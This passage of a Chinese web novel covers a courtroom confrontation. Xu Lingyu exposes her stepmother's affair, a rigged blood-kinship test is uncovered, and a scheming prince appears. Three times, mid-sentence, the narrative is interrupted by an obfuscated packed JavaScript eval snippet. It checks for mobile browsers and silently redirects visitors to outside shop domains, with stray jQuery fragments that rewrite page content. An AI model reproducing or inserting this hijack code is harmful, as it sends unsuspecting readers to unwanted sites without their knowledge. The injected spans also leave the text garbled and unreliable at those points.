她身量纤细,侧首拭泪,努力保持体面的模样,便显得格外柔弱可怜。 明明未发一语,却连才调任过来清江县两三年,并不十分了解内情的马县令,也对许淳倒戈相向。 “许县丞,不是我说你,你不能得了孟氏的好,还任由人苛待孟氏的女儿。虽说有了继母,也就有了继父。可你是读过书的,是举人,有官身,是不是该做好表率?”马县令说着,眉毛紧拧,直冲许淳摇头。 许淳呢,脑子嗡嗡的,直觉有无数看不见的蜜蜂在围着他飞,时而还拿蜂针刺他,根根戳在他心窝子上。 这么多年,他里外操持,把对孟茴的惭愧遗憾,弥补在阿玉身上,让淑慧衣食无忧,对成琢细心教导,提拔大舅哥做了捕头。 可到头来,阿玉恨他,淑慧厌他,成琢愚钝,大舅哥怨他,连马县令也说他不是。 许淳没回应韦捕头,也没回应马县令的话。 他胡须微颤,抬眸间,似老了好几岁。 “大人,查吧,给阿玉一个交代,也给成琢一个公道。”许淳朝马大人作揖,随即侧过身,朝外头被差役拦住的围观百姓挤出一丝苦笑,“许家的家事,让大家看笑话了。” 往事不能深究,但必须得当着众人的面,让阿玉心服口服,承认成琢是许家血脉,否则往后就真的家不成家了。 许菱玉刚假装哭过,眼中还残留着泪水浸润的痕迹。 她望着许淳,看起来泪眼朦胧,像是不忍心,有些心疼父亲。 可顾清嘉站在离她最近的地方,又格外留意她的神情变化,分明瞧见,她望向许淳的一瞬,眼中一闪而过的异样神色。 像是,志得意满。 许菱玉对眼前的一切都满意,尤其是许淳疲惫的神态。 懂事后,她时常观察许淳,琢磨他最在意的东西。 她早就清楚,许淳极为在意颜面,他很希望所有人都忘记他曾做过赘婿,只记得他风光体面、家庭和睦的一面。 今日,许菱玉顺水推舟,将他粉饰已久的太平摧毁,让他成为众人眼中的笑话,她怎能不快意? 他拥有的一切好东西,都是从阿娘那里掠夺的,自然该一一还回来。 “你既如此说,我便为你们断断,往后这些家务事啊,就别闹上公堂了,不好看,本官也没那闲工夫。”马县令推动画轴,边展开画卷,边忍不住埋怨。 抱怨的声音低,外头百姓听不到,许淳却听得清楚,老脸涨成猪肝色。 “大人公务缠身,下官往后定当好好修身齐家,再不……”许淳躬身哄着,试图让马县令别记恨许家没事找事。 可他话没说完,便被马县令抬手打断:“你等等!” 马县令盯着画卷,眼睛像见鬼似的骤然睁大。 许菱玉不动声色瞧着,眼底噙着笑意。 顾清嘉目光落在许菱玉侧脸,悄然端凝着他看似柔弱的“娘子”,眼中兴味颇浓。 这小老虎当真有趣,每次伸爪子,都看似冲动,实则准备充足,让人怀疑她早有预谋。 但顾清嘉很清楚,回门之前,许菱玉并没有想主动闹事。 若是可以,他真想钻进她脑子里看看,里头装的都是什么有趣的念头。 “怎么了?”许淳下意识先看许菱玉一眼,才脚步僵硬地朝上首走。 韦淑慧和韦捕头对视一眼,仍摸不着头脑,却双双生出不祥的预感。 许成琢望着许淳的背影,一面茫然。 这时,马县令站起身,将画卷拉起,翻转,朝向许淳。 除了许菱玉和顾清嘉外,公堂上其余的人都伸长脖子看向画卷。 画像清晰,看颜料色泽,应当是这两年新画的,且很少展开。 宣纸上,画着一位负手而立的中年男人,穿孔方纹绸衫,商人打扮,就是个普通男人。 可他生着一张,轻易夺去所有人注意力的脸。 “许成琢?”一位差役小声嘀咕,“这不许成琢吗?” “可许成琢没长胡子啊,你看。”另一位差役反驳。 顾清嘉扫一眼那画像,眼底碎着浅浅笑意,他嗓音压得极低:“怎么找到此人的?” 她定是早就对许成琢的身世有所怀疑,特意让人暗查,备着画像,只等某一日用上,给许家痛击。 许淳这么多年没发现的事,竟被她揭穿。 顾清嘉暗暗称赞,这小老虎是个能干大事的主。 来日收拾她之前,切记得先拔了她的小爪子。 韦淑慧面露惊恐,疾走一步,她心里只有一个念头,撕了它,撕了它! “别中计!”韦捕头沉声斥,用力拉住妹妹。 他找了这么多年,都没找到的狗东西,怎么可能碰巧被许菱玉这臭丫头找到? 韦捕头经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13963849|147115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事多些,想到一种可能。 或许是许菱玉想报仇,故意让人照着许成琢,画一幅老成些,长胡须的画像,好离间淑慧和许淳。 “许菱玉,你太恶毒了!”韦捕头恶人先告状,语气痛心疾首。 显然,许淳跟他想一块去了。 他上前,仓促折起画像,这才转身斥责许菱玉:“许菱玉,是我太惯着你了,才让你想到这样害人的毒计,竟然让人伪造画像!” 言毕,快步过来,伸手要拉许菱玉:“跟我回去!你再恨我,也该适可而止了!” 无边的愤怒盖过愧疚,刹那间,许淳心中甚至闪过一个念头。 那晚孟茴怎么没有抱着许菱玉一起跑出去呢?若是如此,如今他就不用被这孽女害得颜面尽失。 顾清嘉展臂将许淳挡开,护着许菱玉朝上首走近两步。 随即,许菱玉回眸望望韦淑慧,娓娓道:“这位姓石的商人,是我在檀州无意中遇到的,听说他曾喝了酒,向我一位货商吹嘘几段露水姻缘,其中一段,便是与宁州一位差役之妹,红颜姓韦。” 有些措辞,她未出阁时不好放在明面上说,可如今她已出嫁,便少了许多忌讳。 眼见着韦淑慧和韦捕头齐齐白了脸色,她唇角微动,轻问:“二太太,十六年了,你可还记得么?” “你血口喷人!”韦淑慧双腿发软,若不是被韦捕头抓着胳膊扶住,她几乎站不住。 许菱玉这个死丫头,怎么会遇见石郎?不,是姓石的负心人! 韦淑慧的表现,许淳一眼便看出,其中有事,最坏的可能便是许菱玉说的都是真的。 公堂是查明真相,还人清白的地方。 许县丞生平第一次,在这公堂上没有优越感,而是脊背发寒。 他不想查明真相,至少不能在这里,否则,他许家一世清白必将毁于一旦! “你从未出过宁州,哪去过檀州?”许淳顾不上追究她何时去的檀州,去做了什么,攥拳忍怒道,“韦捕头,帮我把阿玉绑回去。她得了失心疯,说的都是疯话。” 不等韦捕头有所动作,顾清嘉已侧身,气势凌然挡在许菱玉身前,冷声道:“谁敢动我娘子,贾某必以命相搏。” 在外人眼中,他是个无权无势的文弱书生,只能说这样决然的话,方能暂时镇住人。 若真镇不住,顾清嘉准备让长缨动手,书生带着一位会功夫的小厮,是能说通的。 以命相搏? 许菱玉站在他身后,望着他宽厚肩脊,被这千钧重的四个字,震得心神俱颤。 他就算有把子力气,毕竟只是文人,显然打不过衙门里这么多差役。 他怎么敢掷出这般有分量的话? 蓦地,许菱玉脑中浮现出他曾说过的话。 “照顾好娘子,便是我的责任。” 当时听着只道寻常,没想到,这呆子说的是肺腑之言。 不管面对许淳、韦淑慧,还是百姓们天然会惧怕的县令、差役,他保护她的心,始终如一。 这个呆子! 不知怎的,许菱玉心口发胀,眼眶莫名发热,想要落泪。 原来,人高兴的时候,也会想落泪。 “爹爹。”许菱玉还记得她该做的事,她躲在顾清嘉身后,忍住泪意,声音发颤,像是被吓坏了,痛心道,“女儿只是不想你被蒙在鼓里啊。” 继而,她转向马县令:“请求大人滴血验亲,以证民女维护父亲的一片赤诚之心。” 24. 贴心 滴血验亲的操作,衙门也有过,一把匕首,一碗清水罢了,准备起来不难。 马县令看看许菱玉,再看看许淳,却是骑虎难下。 私心里,他已然相信许菱玉说的话,小丫头连韦氏的情郎姓什么都知道,哪还能作假? 可单是画像,尚且有转圜余地,若真当堂验亲,叫所有人看到,父子俩的血融不到一块去,许家恐怕就要臭名远扬了。 到底共事过两三年,许淳惯会伏低做小,为他解决过一些麻烦,马县令多少有些于心不忍。 马县令想和稀泥,无奈外头许多双眼睛盯着呢。 他从签筒里取出一道令箭,一下一下点在案上,犹豫不决。 “清者自清,验亲便验亲。”韦捕头狠狠捏一下韦淑慧手臂,示意她不许再轻举妄动,咬着后槽牙,拱手向马县令请命,“大人,属下这就去准备。” 韦捕头去准备也好,至少他懂得控制局面,最后不会闹得太难看。 “也好。”马县令点点头。 抬起手,刚要传令,却被贾秀才打断。 “且慢。”贾秀才长身而立,神情端凝念出大晋律法中的一则,他没反驳马县令的做法,而是瞥向面露凶相的韦捕头,“韦捕头乃二太太亲兄长,依大晋律,应当避嫌才对,韦捕头是知法犯法,还是不识律法,德不配位?” 身为捕头,要求自然与普通差役不同,不管认下哪一种,韦捕头的位置都要换人做了,否则便是马县令没有识人之明。 许菱玉听出他的意图,不由侧目。 同时也隐隐疑惑,秀才不像是只会读死书的书呆子啊,他也懂得打蛇打七寸。 可是,她在公堂上,强行要他履行婚约,与他订立婚书那日,他为何不像今日这般机敏? 许菱玉略想想,恍然大悟。 定是面对她这样的弱女子,他大意了,根本没想到她敢伪造婚约,被她弄懵了,反应比平时慢,想不到合适的方式回绝。 幸好,当时没提前告诉他,打算如何逼他就范。 否则,让他提前想好应对之策,她岂不是会失去眼前的如意郎君? 许菱玉暗自窃喜。 可她不傻,并未被心间一丝丝甜蜜冲昏头脑,仍留意着韦捕头的一举一动。 韦捕头被贾秀才问住,急得直冒冷汗。 他读书不多,哪有心思研读什么律法?可贾秀才是读书人,读书人讲这些是信手拈来,他没底气辩驳。 思忖再三,才硬着头皮道:“事关我妹妹的清白,我只是一时情急,忘了分寸,请大人恕罪。” 说完,自动退回去。 高澍想上前,刚举步,被离马县令最近的差役抢先:“大人,我去吧。” 韦捕头与对方并未对上视线,可许菱玉分明瞧见,马县令把令箭丢给差役时,韦捕头狠狠松一口气的神情变化。 察觉到许菱玉打量他,他不仅没瞪回来,反而下意识垂下眼皮。 分明是心虚。 许菱玉笑笑,佯装不知。 她注意力都在韦捕头、韦淑慧等人身上,却忽略了离她最近的顾清嘉。 顾清嘉不着痕迹抬抬眼皮,自然垂在身侧的手打了个手势,在外人看来,他只是随意动动指骨。 无人注意的角落,长缨悄无声息跟着那差役而去。 不多时,差役端着乌漆承盘出来,承盘上横着一把短匕首,一碗清水。 “我先来。”许成琢受够了一家人互相伤害的煎熬。 从前许多次,都是阿姐赢。 可是今日,他要让阿姐亲眼看看,她一句谎言,造成了多大的伤害,她必须道歉。 “成琢。”韦淑慧舍不得儿子流血。 即便哥哥示意她,不会有问题,她不必担心败露,可韦淑慧还是不想许成琢验亲。 她不甘心。 今日是她来状告许菱玉的,凭什么是他们被许菱玉牵着鼻子走?! 许成琢听出阿娘的关心,他也怕疼,可他更想让阿姐认识到错误。 他快步走到马县令面前,抓起匕首,迟疑一下,终于在指腹上轻轻划了一下。 涌出的血珠,滴落清水中。 他转过身,拿袖口将匕首上残留的一点血迹擦净,递给许淳:“爹爹,让阿姐亲眼看看,我是不是您的儿子。今日她太过任性,铸下大错,伤我和阿娘至深,您必须让她赔礼道歉。” 许淳没说什么,唇瓣紧抿,终是上前,接过匕首,往碗里又滴了血珠。 随即,他们站在长案外侧,与另一侧的马县令一样,眼睛一眨不眨,盯着瓷碗。 韦捕头和韦淑慧也上前。 顾清嘉没动,侧眸,问走到他身侧的许菱玉:“阿玉不去看看吗?” “知道会融,何必要看。”许菱玉声音不高不低,带着淡淡嘲讽。 “你什么意思?”韦淑慧恼羞成怒,回眸斥她。 忽而,许淳叫道:“融了,融了!” 语气有惊喜,有庆幸。 他是在庆幸血脉相融,还是在庆幸有人暗地动手脚,没让丑事摊开在百姓面前呢?许菱玉望着他激动的模样,忍不住想。 “虚惊一场啊,恭喜许县丞。”马县令觉着,这事很值得道喜。 许淳听着,很不是滋味,却还是挤出笑意。 外头百姓们也都听到结果,议论纷纷。 有说许菱玉恶毒的,也有说验血不可尽信的。 顾清嘉浅笑,望一眼不远处的立柱。 柱子后头,长缨走出来,手里拿着一个小纸包:“水里加了白矾,自然会相融。” 长缨疾走几步,将纸包放在马县令面前,在众人反应之前,快速割了一下自己的手指,也将血滴入碗中。 “不信,你们瞧。”长缨指着血丝快速融合的瓷碗,笑道,“草民的血不也融了么?难道我也是许县丞的儿子?” 他声音不低,外头百姓也能听见。 众人先是一愣,随即齐齐失笑。 “你是何人?” “你何时进来的?” 马县令和许淳齐齐发问。 长缨拿衣袖止了血,退开两步,朝马县令施礼:“我家公子是贾秀才,小人粗通武艺,公子怀疑差役会作假包庇二太太,让小人暗中盯着方才那位差役,小人悄悄跟过去,果然发现他往水里加白矾!” “大人,我想起来了,他去年拜了韦捕头做师父,但凡能捞好处的事,韦捕头都先带他去,辛苦活儿就丢给我们。”一位差役站出来,愤愤不平,“他往水里加白矾,定是受韦捕头指使!” 不公平的事多了去,眼看着韦捕头要完,其余受过委屈的差役,也争先恐后站出来,细数其罪状。 于是,公堂内外的人,全都知道韦捕头与那差役关系不一般。 许菱玉也恍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13984230|147115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然大悟,难怪方才韦捕头松一口气。 “我没有!你们都看到了,刚才在公堂上,我根本没同徒弟说一句话!”韦捕头急忙否认。 许成琢的身世,韦捕头显然是知道的。 许菱玉甚至怀疑,阿娘出事是不是不止和许淳有关,还与韦氏兄妹有关? 不管怎样,她是不容韦捕头推脱的。 许菱玉站在顾清嘉身侧,像是怕他们恼羞成怒伤害她,怯怯抓着顾清嘉衣袖,虚虚依在他手臂侧惊呼:“不愧是师徒,竟有这般默契。” “臭丫头,你闭嘴!”韦捕头握拳上前,差役们没拦住。 高澍也懵了,看到顾清嘉冲长缨使眼色,才反应过来,与长缨一左一右架起韦捕头。 案子断到这里,再问下去只会让许淳更难看。 是以,马县令匆匆吩咐:“快,把韦捕头绑起来,押入大牢,听候发落。” 看到许淳红着眼,失魂落魄的模样,马县令心生恻隐:“至于韦氏兄妹欺瞒许县丞的事,本官网开一面,允许许县丞协助查问。” 许淳亲手将韦淑慧扯去后堂,外头百姓散去大半,还有些看热闹的伸长脖子往里瞅。 许菱玉和顾清嘉出来时,身边只跟着长缨一个。 身后能听见韦淑慧的尖叫声,许成琢带着哭腔的质问声,许菱玉弯弯唇角,脚步未停。 走到软轿旁,许菱玉才顿住脚步,侧身冲贾秀才笑意嫣然:“你不是还有事要忙么?不必送我回去,自去忙吧。” 韦捕头一干人等已被关进大牢,许菱玉并无危险,顾清嘉跟着她,倒不是想送她回去。 他睥着眼前神采奕奕的少女,忍不住问:“花了那么多功夫报仇,阿玉怎不在衙门等着,好最快知道当年的事?” “没花什么功夫啊,我运气好么,都是顺手的事儿。”许菱玉这会子心情很好,语气轻快,显得格外娇俏,“想看到的,我在公堂上都看到了,在衙门等着多无趣。至于当年的事,你说的是韦氏兄妹合起伙来骗许淳?这事儿许淳比我急啊。我知道得越多,他不是越难受?他可是我亲爹,我哪忍心他难受呢?” 若不是亲眼看到她在公堂上对付许淳时,有多干脆利落,顾清嘉几乎要被她体贴的语气骗过去。 路过的百姓不知道啊,刚看完热闹的乡亲听到这么一句,纷纷侧目,到底还是亲生的闺女贴心。 嗯,许菱玉也觉着自己贴心。 不过,她是拿着烧红的烙铁去贴许淳的心,毕竟都是他应得的。 顾清嘉浅笑,在清江县这段时日,他还是不要轻易招惹这小老虎的好。 瞧着娇美柔弱,实则心狠爪利,挠谁都能下得去手。 “路上小心,我可能晚些回,夜里不必等我。”顾清嘉温声叮嘱。 “知道了。”许菱玉随口应着,侧身向金钿要来五两银子,笑望长缨,“拿着,今日你是可是大功臣。” “少奶奶过奖了。”长缨略迟疑,望一眼顾清嘉,得对方默许,才伸手接过,“多谢少奶奶赏!” 许菱玉笑笑,搭着金钿手臂,钻进轿帘:“没想到长缨还会武艺,咱们真是捡到宝了。” 她嘀咕的声音小,是与离她最近的金钿说的。 可顾清嘉和长缨身手都好,听得一清二楚。 顾清嘉侧眸瞥一眼长缨,眼神看不出喜怒,长缨无端打了个寒噤,他本能感受到,公子不高兴。 25. 冲动 “小姐,咱们是回家去,还是到铺子里看看?”金钿走在轿子侧,轻问。 窗帷被一只素手撩起,女子轻快的语调也飘散出来:“还早呢,上瓦子听戏去,记得叫个跑腿的,回去告诉芹姨,不必留饭。” 言毕,松开柔荑,窗帷轻柔垂落。 顾清嘉站在原地,目送软轿走远。 他看得分明,许菱玉惦记着听戏,根本没回头望一眼,一次也没有。 嫌他今日表现不好? 应当不会,他能感受到她的欢喜。 她甚至赏了长缨五两银子。 顾清嘉垂眸,瞥见长缨手中尚未收起的一抹银色,周身气场更冷了些。 长缨思来想去,能让公子不悦的,唯有许淳和关在牢里的几个,试探问:“公子?要不属下再去县衙里盯一盯?” “备马。”顾清嘉收回视线,沉声吩咐。 长缨忙不迭去备马,心里却七上八下,搬进许小姐的院子几日,他竟也被公子伪装的外表麻痹,自然地觉着公子性子好。 他怎么能忘记,来清江县前,不,遇上许小姐之前,殿下的性子是怎样阴晴不定,诡谲难测? 蓦地,长缨拿卷起的马鞭,狠狠敲了一下自己脑门。 这厢,轿子绕过路口,拐上另一条路,金钿才后知后觉想起一事:“小姐,今日长缨帮忙,可是姑爷提前吩咐的,你怎么光顾着赏长缨,也没想着夸姑爷两句?” 轿子里,许菱玉吃着金钿顺手买的什锦玉带糕,口齿噙香,听到金钿的话,不由愣住。 还真是,她怎么忘记夸秀才了? 可他们是夫妻,不必这般见外吧? 许菱玉放慢动作,嚼着口中清甜的玉带糕,脑中浮现出贾秀才的俊颜,他对她有时候还挺见外的,都不与她亲近。 或许,金钿说得没错,她该夸秀才几句的。 他曾夸过她,此刻她还能忆起当时的欢喜,连口中的玉带糕似乎也变甜了些。 下手之前,她便知道秀才与旁的郎君不同,温和而内敛,尤其洁身自好。 往后她便试试多夸夸他,一来二去,他对她感情更深些,兴许就不同了呢? 他性子再是端方慢热,应该被她缠熟吧? 可他看起来性子好,却似乎在某些方面有自己的坚持,许菱玉想得很好,其实虚得很,并多少把握。 许菱玉咽下松软的糕点,心里琢磨着该如何夸贾秀才,才算恰如其分,嘴上却似不在意道:“你可真能跟芹姨学,净会操心,秀才又不是长缨,我也不能同样赏他几两银子不是?来日方才,往后我待他好些便是了。” 秀才说,今夜可能回来得晚,就算要同他说几句好听话,也得到明日去。 许菱玉没想好措辞,索性先抛在脑后,暂且不想。 瓦子里靠前的位置,设有桌椅,茶水点心应有尽有,许菱玉赏钱大方,面前摆的俱是她喜欢的口味。 天色暗下来,台上的灯笼光亮如白昼。 演的正是许菱玉点的戏,台上有她最喜欢的短打武生。 武生姓杨名柯,身量修长,肩宽腰窄,扮相英武而不粗犷。他基本功扎实,动作比旁的武生都要利落俊逸。 从前,但凡他演的戏,许菱玉都看得认真。 可今日,不知怎的,看着台上的武生,许菱玉微微失神,脑中无端浮现出贾秀才的身影。 秀才与杨柯的身量似乎差不多,同样的宽肩窄腰,可惜不会武艺,比台上的杨柯少了几分英伟之气。 若秀才习过武,身段更富有力量感,她怕是更招架不住,天然会生出更多好感。 不过,若秀才习过武,恐怕就不如现在好拿捏了。 罢了,他还是不习武的好。 她若想看有力量感的郎君,来看杨柯也一样。 给足银子,就能让喜欢的武生演自己想看的戏,赏心悦目,银货两讫,轻松自如。 这般一想,许菱玉猛然回神,眼神变得专注了些。 她花银子了啊,不好好看多浪费?! 演出结束,时辰已不早了,外头成片的夜市倒还热闹着,许菱玉没着急走。 “金钿,你去买些烤签子肉和各样小食,送到瓦子外河边风亭里。”许菱玉冲金钿吩咐。 “小姐想吃宵食?那我少买些,免得积食睡不好。”金钿应声欲走。 被许菱玉唤住:“等等,多买些,我是想请杨柯出来说说话。他一个大男人,食量恐怕不小,演了半宿戏,总不好叫人饿着说话。” 金钿眼皮跳了跳:“小姐,这不合适吧?” 许菱玉没解释,摆摆手,示意金钿去准备,她自己则同班主说一声,在院中花树下等着。 她是成亲了,可她与秀才还不算真夫妻吧? 就算是,难道她成了亲,就不能见外男了? 再说,她又没想做什么坏事,不过是突然想问杨柯几句话罢了。 那些疑问,只能问男子,还不能直接问贾秀才,她总不能去问高澍吧? 思来想去,还是问杨柯最妥当,他虽只是个武生,好歹是男子,应当懂得寻常男子的心思。 只要她给足银子,杨柯没理由把她那些无伤大雅的问话泄露出去,因不熟,他反而能站在寻常男子的立场,给出中肯的回应或是见解。 杨柯从杂院里出来时,一眼便瞧见花树下的倩影,他眼神细微波动,很快藏起,温声唤:“许小姐。” 许菱玉抬眸,望见灯笼光里走出来的高俊男子,眼前一亮。 男子着深色布衣,腰间有一指宽的束带勾勒,一身正气,英伟不凡。 正是卸去妆容的杨柯。 许菱玉笑:“还是第一次见杨公子不穿戏服的样子。” 她顿了顿,上下打量一番,大大方方道:“很俊。” “许小姐说笑了。”杨柯上前几步,在离许菱玉两步远处站定,“或许,该称许娘子才是。” “杨某身份微贱,那日没能向许娘子贺喜,今日正好将此物赠与许娘子,还请许娘子莫嫌弃。”杨柯负于身后的那只手,绕至身前。 许菱玉垂眸一看,是一张面具,线条英朗正气,乃是武生脸谱。 “送我的?”许菱玉没想到,杨柯竟会给她准备新婚礼物。 他们之间,有这么熟吗?算是朋友吗?许菱玉困惑。 她还真是不了解男子。 看来叫杨柯出来问话的决定,是很明智的,知道秀才的心思,方能对症下药。 “画得不好,是我冒昧了。”杨柯迟疑一瞬,似乎觉得自己的礼物拿不出手,往回收了寸许。 许菱玉上前一步,抢在手里:“你亲手画的吗?” 她低头再细细看看面具,不吝夸赞:“画得很好啊,上元节的时候,可以考虑去灯市上支个摊了。” 她问题还没问呢,总不能先让人不快。 杨柯知道为她准备礼物,可见是个知恩图报的,叫人放心。 “我其实是有几句话,想问问杨公子,这里说话不方便,可否请公子移步河边风亭详谈?” 杨柯眉心微动,展臂道:“荣幸之至,许娘子请。” 河边的风只有微微凉意,迎面吹来,并不让人觉得冷,只觉清爽翛然。 金钿不止买了各样小食和签子肉,还借来一尊烤肉用的小炭炉:“奴婢怕凉了不克化,小姐和杨公子先吃着,凉了奴婢就拿到炉上再热热。” “多谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13989740|147115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许娘子和金钿姑娘。”杨柯起身致谢。 许菱玉笑望金钿:“就数你细心,下个月给你加一两月钱。” 虽是玩笑时说的话,但金钿知道,自家小姐这上头最是大方,不纯是打趣她的,连连道谢。 继而,守在小炉旁,看着炭火,不再打扰小姐说话。 可亭子里的对话被风吹来,却听得金钿心惊肉跳。 许菱玉拣一碟签子肉,放到杨柯面前。 抿抿唇,又取出两块十两的银锭,摆在杨柯面前,方才开口:“杨公子,我们今日的谈话,我不希望第四个人知道。” 杨柯心口一震,拿手帕盖起石桌上的银锭,将它们推回许菱玉面前:“许娘子对我恩同再造,不必如此,杨某定当守口如瓶。” 若没有许娘子捧他的场,班主岂会厚待他? 虽说杨柯看起来可靠,但许菱玉还是觉得,银子到位的关系更可靠。 她与货商之间的往来,皆是如此。 是以,她坚持将银子推给杨柯。 “给你就拿着。” “其实,也不是什么机密事,我就是想问问你,关于男子的心思。”许菱玉想起与贾秀才的相处,想到会被杨柯这个外人猜到一些,仍有些赧然。 她别开脸,望着栏杆外涌动的深色河水。 声音被河风吹来,轻而缓,赧然的声线透着些缠绵滋味:“当你们男子心悦一位女子时,通常会是怎样的表现?” 话刚出口,她便紧紧咬住唇瓣。 她真的问出口了,好羞耻,幸好不是问秀才,杨柯收了银子,也不好笑话她。 杨柯愣住,继而心跳如擂鼓。 莫非他潜藏的心事,被许娘子察觉了,特意来质问他,提醒他不要痴心妄想? 不可能。 在此之前,他们甚至不曾单独相处过,他也从未有过丝毫逾越之举。 杨柯收敛心神,斟酌措辞,温声应:“自然会待那位女子好,保护她,让她衣食无忧。” 这些是他想做,却没有资格,许小姐也根本不需要的事。 许菱玉不知他心有杂念,只听出他没太明白她的意思。 若单说保护她,遇到危险的事时,秀才是会挡在她面前,可是,可是让她困惑的是,秀才从不会对她有任何亲密的举动,似乎连想法也没有。 秀才端方正经,却更像个尽职尽责的护卫,而不是夫君。 秀才将她护在身后的时候,她何其动容,可想到自己捧着话本子,被他拒绝的时候,许菱玉又恨他像块不解风情的木头! 既已开了头,许菱玉便不会因羞耻而退缩。 “杨公子误会了,我想问的是,是男子面对心悦的女子,会不会有面对旁人时不同的冲动。比如,会想与之亲近,就是……”到底不熟,许菱玉吞吞吐吐,说不下去,她跺跺脚,猛然回眸望向杨柯,语气略显焦急,“你懂的吧?” 说完这番话,许菱玉怔了怔。 她忽然意识到,她对贾秀才的喜欢是不一样的。 高澍、杨柯都很好,都有她欣赏的地方,长得也不差,可许菱玉急需一门亲事之时,丝毫不曾考虑他们。 唯有贾秀才,让她动了与之成亲的念头。 也只有面对贾秀才时,她才会生出那些不矜持的想法。 想让秀才的长臂主动伸来揽住她,想要秀才像话本子里写的那样,亲亲她的唇。 这想法,让许菱玉面颊哄然发烫。 杨柯听懂她的话,凝着她又羞又急的情态,终于明白,她为何执意要付银子了。 显然,让她焦急的男子,根本与他无关,而是另有其人。 是她那位听说相貌极为俊朗的书生夫君吧? 26. 私会 背对河水而立的许菱玉,发丝、裙裾被风吹得翩动,美得让人想起洛水之神。 她生得好,人又善良,自然配得上最好的。 起初,杨柯以为她会入京待选,会被选做哪位皇子的正妃。 他也是男人,有心仪的女子,当然知道男子面对心仪的女子会有怎样的妄念。 杨柯双手放在桌下的膝头,紧紧攥着银锭,语气淡然从容:“我想,我应当听懂许小姐的意思了。男子对心仪的女子,自然会有想法,只不过,有些男子性子稳重,善于隐藏心思,许娘子若想知道对方真实的想法,有时不妨主动些。杨某虽未婚配,却也见过一些,夫妻相处之道,本就玄之又玄,没有定式的。” “你,你怎么知道我说的是秀才?”许菱玉愣愣开口。 反应过来自己不打自招,赶忙捂住唇,窘迫地清清嗓子,重新转向河面,反被河风呛住,一阵咳嗽。 杨柯攥攥银锭,没起身,金钿慌忙跑到许菱玉身侧,替她拍背顺气。 “若许娘子不介意,不妨与我说说,贾公子平日里待许娘子如何?或许,杨某能给些具体的建议。”杨柯待她缓过来,温声开口。 他神色如常,并没有被她惊到,或是笑话她的意思。 许菱玉莫名安心,缓步走回来坐下:“其实他人很勤快,性子好,待我也很好……” 杨柯凝着她,瞧得分明,她说起贾秀才时,眼中闪动着不一样的温柔光彩,与望着台上的他时,明显不同。 且她唇畔不自觉地噙着笑,杨柯明白,她很中意那位与她早有婚约,且已成亲的夫君。 宁州城,宁王府占地不小,是一座三路五进的大宅。 顾清嘉在外书房下轿,见到宁王时,玄冥卫指挥使上官霈也在。 “宁王叔,是不是上官霈找到药材的下落了?”顾清嘉状似焦急,快步上前施礼。 宁王坐在上首,头戴玉冠,一袭檀紫锦衣,嵌玉的犀带勒出腰身,坐姿四平八稳。虽年近不惑,面上却无甚风霜痕迹,须发皆黑,气质儒俊清贵。 他素有贤名,唇角惯常含着浅笑,眼神暄和,很是平易近人的模样。 “清嘉,过来坐。”宁王站起身,招呼顾清嘉坐在他榻几对侧,瞥一眼上官霈,“可惜尚未找到,你稍安勿躁,我请你过来,是有旁的事问你。” “稍安勿躁”四个字,他咬得略重些。 果然,顾清嘉面上“焦躁”的情绪压制住,只盯着上官霈的眼神里,是藏不住的心浮气躁。 上官霈撩起衣摆,跪地请罪:“上官霈办事不利,请宁王爷和二殿下责罚。” “不怪你,下去吧,继续加紧追查,本王与二殿下不会苛责,只是你切莫令太子殿下失望才好。”宁王命人将他扶起,又挥退侍立的宫人。 殿内只余叔侄二人,顾清嘉再也克制不住,急急道:“宁王叔,我可已经同您交了底,您得站在清嘉这边,不给上官霈使绊子就算了,您怎么还催他加紧追查?若药材找到,太子的病治好,只怕更容不下我!” 宁王面前的顾清嘉,与许菱玉认识的贾秀才判若两人,若许菱玉捡到此情此景,绝不敢相信是她认识的温和好性的郎君。 “你呀,还是太年轻,沉不住气。”宁王笑望着他,无奈摇头,“让你学我,做个富贵贤王,偏安一隅,你又不肯。” 随即,又叹口气,语气不无惋惜:“也是,你征战沙场数年,少年成名,建不世之功,太子却羸弱多病,连协助皇兄理政尚且费力,换做谁也不会甘心。可你们毕竟是亲手足,你须得体谅他,他身为储君,有你这样处处压他一头的兄弟,他焉能不感到威胁?” 顾清嘉显然不服气,冷嗤:“哼,既是手足,他既知道处处不如我,便该自动让位,储君之位本来就该能者居之。” “你!哎,清嘉,你这满腹牢骚,在王叔这里私下说说便罢了,切莫让旁人知道你有忤逆之心,否则,太子梗容不得你,你明知你父皇偏心他些。”宁王看到他们兄弟相争,不知多快意,面上却不动声色,一副慈蔼姿态劝慰着,“你性子急,冲动易怒,又嗜杀,难怪你父皇要屡番将你禁足,命你抄写经文,收敛性情。” 